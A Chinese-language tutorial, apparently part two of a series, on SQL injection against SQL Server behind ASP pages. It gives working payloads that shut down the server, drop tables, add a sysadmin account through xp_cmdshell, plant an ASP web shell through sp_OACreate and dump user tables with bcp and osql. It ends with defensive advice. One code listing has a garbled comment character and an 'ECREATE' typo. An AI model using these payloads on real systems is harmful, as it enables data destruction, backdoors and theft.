前言
在上一篇中,我们介绍了透过组合 SQL 语法;以较为简单的方式侵入网站系统,本期再进一步介绍透过 SQL Server 本身强大的功能,可能完成进一步侵入的动作。
SQL Injection – 骇客的 SQL填空游戏(下)
SQL Server 本身提供了非常多的函数、预存程序、延伸预存程序来辅助 T-SQL,好让程式设计师透过 T-SQL 完成商业逻辑运作所需的预存程序。但一般的使用者较熟悉以 Visual Basic 等程式语言来撰写存取资料的程式,因而对此类的功能所知不多,更别提要如何防范骇客透过这一类的功能来遂行其目的。
使用具破坏力的语法
以下列举部分的功能稍做讨论。
停掉 SQL Server 的执行直接输入
Shutdown 命令,要求 SQL Server 停止执行。在网页上输入帐号的地方可以直接键入以下语法便可:
' ;SHUTDOWN--
破坏内容当然,只要权限够,也可以执行有破坏性的 SQL 语法
1 。如删除某个资料库:
' ;DROP Database <资料库名称>--
删除资料库内某个资料表:
' ;DROP Table <资料表名称>--
清空某个资料表:
' ;Truncate Table <资料表名称>--
抑或是以 DELETE 清空资料表:
' ;DELETE FROM <资料表名称>--
使用进阶且功能强悍的延伸预存程序
这一类的预存程序多以 xp_ 开头,存放在 master 系统资料库的延伸预存程序中。有趣的是大部分的延伸预存程序在 SQL Server 所附的线上说明中都没有列出来,也没有说明。笔者本想到微软网站利用全文检索找寻这些延伸预存程序的蛛丝马迹,以列表讨论,但发现大多是无可奉告(undocumented),看来延伸预存程序虽然功能强大,但微软并不鼓励大家使用。
笔者选几个较有趣的分别介绍。
执行其他应用程式
xp_cmdshell 应该是大家最常使用的延伸预存程序之一,透过这个延伸预存程序可以 SQL Server 的系统帐号来执行任何应用程式。
以下
程式码列表 1 直接利用作业系统所附的 NET 工具程式,在 Windows 系统中加入一个使用者帐号 Hacker ;没有密码,并将该帐号加到 SQL Server,再放入到最大的使用者权力群组 sysadmin:
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
程式码列表 1:加入自订的使用者,并赋予该帐号最大的权限。
若你还开放网际网路存取 SQL Server预设使用的 TCP 1433 埠,则骇客将有机会唐而皇之地控管 SQL Server。
与 Registry 相关的系统预存程序
SQL Server 提供了大量与 Registry 相关的延伸预存程序,以 xp_reg 开头作为代表
2 。内容有:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
骇客可以利用此类的延伸预存程序存取系统的注册资料,例如查询该机器上有哪些共享目录,范例如
程式码列表 2。再利用上一期的技巧,以错误讯息来呈现结果。
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
程式码列表 2:利用 XP_RegEnumValues 取得系统的共享目录。
再利用上篇文章介绍的以错误讯息来呈现结果的技巧,或是以下文中透过 bcp.exe 工具程式将 tblShareDir 输出成档案,都可以取得想要的结果。
与 OLE Automation/COM 物件相关的延伸预存程序
SQL Server 提供了一组存取伺服器外部 OLE 物件相关的预存程序。它们分别是:
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
你可以用它们来建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch 介面),执行物件的方法,读取与修改属性,进行错误处理。但它们无法回应一般 OLE 或 COM 物件的事件。
有了 COM/OLE 物件的建立与执行,对于控制系统来说可算是如虎添翼,无所不能了。稍举个例子,骇客可以利用它来取得有兴趣的网页的原始码,如
程式码列表 3:
'DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
程式码列表 3:取得 login.asp 网页的内容。
在
程式码列表 3 中,利用 SP_OACREATE 建立 “wscript.shell” 物件,并利用 SP_OAMETHOD 呼叫 “wscript.shell” 物件的 run 方法,以执行作业系统命令介面工具程式 cmd.exe,将 login.asp 输出到 test.txt 档案中,这时骇客只要在网页上输入
http://.../.......txt 就可以看到 login.asp 写作的方式,作为下一步侵入的基本资讯。
当然,骇客也可以利用 Scripting.FileSystemObject 物件来建立一个 ASP 网页后门,语法如
程式码列表 4 所示:
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'
程式码列表 4:建立 ASP 后门网页。
从此透过 URL 就可以执行任何执行档,范例如下:
http://localhost/sqlinje...sp?cmd=C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt
其他相关的延伸预存程序
这一类的延伸预存程序,你可能要小心的还有:
延伸预存程序的名称
用途
使用范例
xp_availablemedia
显示系统上可用的磁碟机,如 C:\。
xp_availablemedia
xp_dirtree
显示某个目录下的子目录与档案架构。
xp_dirtree 'c:\inetpub\wwwroot\'
xp_enumdsn
列出系统上已经设定好的 ODBC 资料来源名称(DSN Data Source Name)。
xp_enumdsn
xp_enumgroups
列出作业系统上的使用者群组及该群组的说明。
xp_enumgroups
xp_getfiledetails
获取某个档案的相关属性。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
…
xp_ntsec_enumdomains
列出伺服器的网域名称。
xp_ntsec_enumdomains
xp_servicecontrol
停掉或启动某个服务。
xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某个目录下的子目录。
dbo.xp_subdirs 'c:\'
xp_terminate_process
停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择栏位」勾选 pid,就可以看到每个执行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解开压缩档。
xp_unpackcab 'c:\test.cab','c:\temp',1
以上表列的延伸预存程序是笔者在 master 系统资料库中,寻找名称比较有趣的;经过一一测试的结果。但不代表可以用来侵入系统的延伸预存程序都已经完全列出,毕竟骇客的创意屡屡翻新,你必须要时时谨慎小心。
SQL Server 的工具程式
透过 SQL Server 所提供的一些工具程式可以直接将资料表的内容输出成档案,例如透过 bcp 的 out 参数,将储存会员资料的资料表整个输出成档案,范例如下:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
当然,isql.exe 和 osql.exe 也都可以办到同样的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"
这一类的工具程式可以搭配前文的 xp_cmdshell 延伸预存程序,或是交由利用 sp_OA 系列预存程序建立的木马 ASP 来执行,都可以达到窃取资料的目的。
对于预防 SQL Injection 的建议
综合以上各种的侵入技巧,笔者在此归纳一些维护系统安全的建议。
尽量地利用 ASP 或 ASP.NET 在伺服器端检查与限制输入变数的型别与长度,过滤掉不需要的内容。要注意的是这些检查不要放在前端。
就算在前端利用 HTML Input 标签的 MaxLength 属性,或是以 JScript 撰写程式来设定栏位长度的限制,只要将该网页另存新档,修改内容后(一般只要改写 Form 的 Action 属性以及 Input 的 MaxLength 属性),重新以浏览器开启再执行便可避过这些浏览器端的检查。
ASP 程式登入 SQL Server 的帐号不要使用 sa,或任何属于 Sysadmin 群组的帐号,避免有过大的权限。
sa 一定要有强固的密码,尤其是 SQL Server 7.0 以前的版本,在装机时预设 sa 没有密码,而一般管理者装完后也忘了或怕麻烦而不更改密码。
利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 来透过参数执行 SQL 语法,直接以 ADODB 的 Connection 物件执行预存程序的写法一样糟糕。范例如下:
Exec spXXX 参数,…
因为骇客所加入的 SQL 语法一样可以执行:
Exec spXXX 参数,…;SHUTDOWN
我们可以建立一个预存程序
程式码列表 5:
ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password
程式码列表 5:用来找寻符合的使用者帐号密码的预存程序。
同时将整个 ASP 的查询换成如
程式码列表 6 的写法:
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透过 ADODB.Command 物件来搭配预存程序,骇客就无法
'利用组合 SQL 字串的方式来侵入系统
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
餢 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "欢迎光临 " & Request("UserName")
Else
Response.Write "您的帐号/密码输入错误"
End If
Else
%>
程式码列表 6:利用 ADODB 的 Command 物件来存取预存程序。
如程式码列表 6 中灰色的程式码区块,将存取 SQL Server 预存程序的方式改以透过 ADODB 的 Command 物件,如此骇客就不能用加入自订 SQL 的语法来要求 SQL Server 执行额外的动作。
改掉预设的 Web 虚拟路径,不要使用 IIS 装好后预设的 <系统所在磁碟>\Inetpub\WWWRoot 路径,否则利用前述的档案存取方式,很容易在该目录下动手脚。
不要显示错误讯息到前端。
利用 VBScript 语法的 On Error Resume Next,并搭配 If Err.Number<>0 Then 的错误处理方式,自行将错误重导到适当的错误处理网页,如此系统将更稳固,且骇客也不易透过错误讯息来探知系统的内部运作方式。
或着,也可以修改<系统所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 预设网页,最简单的方式就是将它更改名字
3 。
将用不到但功能强大的延伸预存程序删除。
监控系统的执行。
防火墙关闭 TCP 1433/UDP 1434 埠(port)对外的连线
4 。
随时注意是否有新的修补程式要上。
以上是针对 SQL Injection 防护方式的建议,但我们应该谨记于心的是世界上没有绝对安全的系统,只有自己时时小心,多看多听骇客们是否有翻新的手法,系统是否有异常的状况,唯有不断加强系统的安全措施,才能将危害降至最低。